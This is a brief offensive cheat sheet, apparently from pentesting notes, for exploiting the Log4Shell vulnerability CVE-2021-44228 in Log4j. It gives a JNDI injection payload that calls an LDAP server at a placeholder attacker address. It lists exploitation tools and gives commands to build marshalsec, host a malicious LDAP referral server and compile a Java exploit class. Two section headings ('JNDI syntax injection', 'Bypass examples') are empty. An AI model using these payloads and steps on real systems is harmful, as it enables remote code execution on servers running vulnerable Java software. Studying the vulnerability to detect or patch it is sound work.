Log4j
CVE-2021β44228 Log4j
CVSS Score: 10
Tools: mvn marshalsec netcat JNDI Exploit kit https://github.com/pimps/JNDI-Exploit-Kit
Payload example:
${jndi:ldap://ATTACKER_IP:1389/Exploit.class}Steps:
cd /marshalsecmvn clean package -DskipTests (Install marshalsec utility)java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER_IP:8000/#Exploit" (Host LDAP server with marshalsec)javac Exploit.java -target 8 -source 8 (Compile the java exploit into a class file (Exploit.class))JNDI syntax injection:
Bypass examples:
Last updated